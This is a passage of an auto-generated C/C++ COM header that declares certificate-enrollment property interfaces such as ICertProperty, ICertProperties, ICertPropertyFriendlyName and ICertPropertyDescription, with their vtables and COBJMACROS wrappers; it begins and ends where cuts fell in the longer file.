       /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertProperty * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertProperty * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        END_INTERFACE\n    } ICertPropertyVtbl;\n\n    interface ICertProperty\n    {\n        CONST_VTBL struct ICertPropertyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertProperty_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertProperty_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertProperty_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertProperty_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertProperty_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertProperty_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertProperty_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertProperty_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertProperty_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertProperty_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertProperty_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertProperty_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertProperty_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertProperty_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertProperty_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertProperties_INTERFACE_DEFINED__\n#define __ICertProperties_INTERFACE_DEFINED__\n\n/* interface ICertProperties */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertProperties;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32f-217d-11da-b2a4-000e7bbb2b09\")\n    ICertProperties : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertProperty **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertProperty *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertProperties * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertProperties * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertProperties * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertProperties * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertProperty **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertProperties * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertProperties * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in_opt ICertProperty *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertProperties * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        END_INTERFACE\n    } ICertPropertiesVtbl;\n\n    interface ICertProperties\n    {\n        CONST_VTBL struct ICertPropertiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertProperties_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertProperties_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertProperties_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertProperties_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertProperties_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertProperties_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertProperties_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertProperties_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertProperties_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertProperties_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertProperties_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertProperties_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertProperties_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICertProperties_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertProperties_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyFriendlyName_INTERFACE_DEFINED__\n#define __ICertPropertyFriendlyName_INTERFACE_DEFINED__\n\n/* interface ICertPropertyFriendlyName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyFriendlyName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab330-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyFriendlyName : public ICertProperty\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strFriendlyName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyFriendlyNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyFriendlyName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyFriendlyName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyFriendlyName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in BSTR strFriendlyName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyFriendlyNameVtbl;\n\n    interface ICertPropertyFriendlyName\n    {\n        CONST_VTBL struct ICertPropertyFriendlyNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyFriendlyName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyFriendlyName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyFriendlyName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyFriendlyName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyFriendlyName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyFriendlyName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyFriendlyName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyFriendlyName_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyFriendlyName_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyFriendlyName_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyFriendlyName_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyFriendlyName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyFriendlyName_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyFriendlyName_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyFriendlyName_Initialize(This,strFriendlyName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strFriendlyName) ) \n\n#define ICertPropertyFriendlyName_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyFriendlyName_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyDescription_INTERFACE_DEFINED__\n#define __ICertPropertyDescription_INTERFACE_DEFINED__\n\n/* interface ICertPropertyDescription */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyDescription;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab331-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyDescription : public ICertProperty\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strDescription) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Description( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyDescriptionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyDescription * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyDescription * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyDescription * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in BSTR strDescription);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyDescriptionVtbl;\n\n    interface ICertPropertyDescription\n    {\n        CONST_VTBL struct ICertPropertyDescriptionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyDescription_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyDescription_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyDescription_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyDescription_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyDescription_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyDescription_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyDescription_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyDescription_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyDescription_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyDescription_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyDescription_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyDescription_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyDescription_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyDescription_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyDescription_Initialize(This,strDescription)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strDescription) ) \n\n#define ICertPropertyDescription_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyDescription_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyAutoEnroll_INTERFACE_DEFINED__\n#define __ICertPropertyAutoEnroll_INTERFACE_DEFINED__\n\n/* interface ICertPropertyAutoEnroll */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyAutoEnroll;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab332-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyAutoEnroll : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyAutoEnrollVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in 